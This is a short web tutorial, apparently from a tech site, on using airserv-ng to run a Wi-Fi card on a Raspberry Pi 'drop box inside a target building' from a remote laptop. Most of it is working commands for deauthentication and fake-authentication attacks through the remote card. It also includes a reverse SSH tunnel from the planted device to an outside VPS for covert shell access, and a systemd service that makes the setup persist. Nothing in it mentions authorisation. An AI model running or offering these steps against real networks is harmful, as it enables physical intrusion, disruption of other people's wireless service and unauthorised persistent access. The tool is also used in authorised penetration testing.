Airserv-ng — Remote Wireless Card Server

3 min readArticle

Airserv-ng is part of the aircrack-ng suite. It exposes a local WiFi adapter over TCP so remote aircrack-ng tools can use it as if the card were physically present on the attacking machine. Primary use case: run airserv-ng on a Raspberry Pi drop box inside a target building, then use airodump-ng, aireplay-ng, and aircrack-ng from your laptop over SSH — all without physical access to the card.

How It Works

shell

[Drop Box / Pi — inside target building]     [Your Laptop — remote]
  wlan0mon (monitor mode)
  airserv-ng -d wlan0mon -p 666      <---     airodump-ng -i 192.168.1.50:666
  listening on TCP :666                        aireplay-ng -i 192.168.1.50:666

Airserv-ng creates a TCP socket. Clients connect and send commands (scan, inject, channel change). The daemon translates them into actual card operations and streams raw 802.11 frames back.

Server Side Setup (Drop Box)

bash

# Step 1: put card in monitor mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Step 2: start airserv-ng
sudo airserv-ng -d wlan0mon -p 666        # listen on port 666
sudo airserv-ng -d wlan0mon -p 666 -c 6   # lock to channel 6
sudo airserv-ng -d wlan0mon -p 666 -v     # verbose output
sudo airserv-ng -d wlan0mon -p 666 &      # background it

Client Side — All Aircrack-ng Tools Accept host:port

bash

# Capture to file through the remote card
sudo airodump-ng 192.168.1.50:666
sudo airodump-ng 192.168.1.50:666 -c 6 --bssid <TARGET> -w /tmp/remote_cap

# Deauth attack through remote card
sudo aireplay-ng --deauth 10 -a <AP_BSSID> -c <CLIENT_MAC> 192.168.1.50:666

# Test injection capability through remote card
sudo aireplay-ng --test 192.168.1.50:666

# Fake authentication through remote card
sudo aireplay-ng --fakeauth 30 -e "TargetSSID" -a <BSSID> 192.168.1.50:666

SSH Tunnel for Encrypted Channel

Never expose airserv-ng directly on a public IP — it has no authentication. Tunnel it through SSH:

bash

# On the Pi: set up a reverse SSH tunnel back to your VPS
ssh -R 666:localhost:666 -R 2222:localhost:22 [email protected] -N -f

# On your laptop: connect through the tunnel
ssh -p 2222 [email protected]            # shell on the Pi
sudo airodump-ng localhost:666           # aircrack-ng through port-forwarded airserv

Pi Drop Box Systemd Service

ini

# /etc/systemd/system/airserv.service
[Unit]
Description=Airserv-ng Remote WiFi Daemon
After=network.target

[Service]
ExecStartPre=/usr/sbin/airmon-ng check kill
ExecStartPre=/usr/sbin/airmon-ng start wlan1
ExecStart=/usr/sbin/airserv-ng -d wlan1mon -p 666
Restart=on-failure

[Install]
WantedBy=multi-user.target

bash

sudo systemctl enable airserv && sudo systemctl start airserv

Limitations

Streams raw 802.11 frames over TCP — in dense WiFi areas can be 1–5 Mbps of data
High-latency connections (cellular) cause airodump-ng to miss frames
WEP ARP injection is timing-sensitive — high RTT degrades success rate
No authentication — must be firewalled or tunneled

Firewall the Port

bash

# Allow only your specific IP to reach the airserv port
sudo iptables -A INPUT -p tcp --dport 666 -s <YOUR_IP> -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 666 -j DROP

Troubleshooting

bash

netstat -tlnp | grep 666        # verify airserv is listening
sudo aireplay-ng --test 192.168.1.50:666   # test injection remotely
sudo airmon-ng check kill       # if card won't enter monitor mode

Alternative: Direct SSH Shell

If airserv-ng latency is a problem, just SSH directly into the Pi and run all tools locally — output piped back over the terminal. Simpler for capturing; airserv-ng is mainly useful for running aireplay-ng injection attacks while monitoring from your laptop.

techzonesite.comUnlock Your IT Potential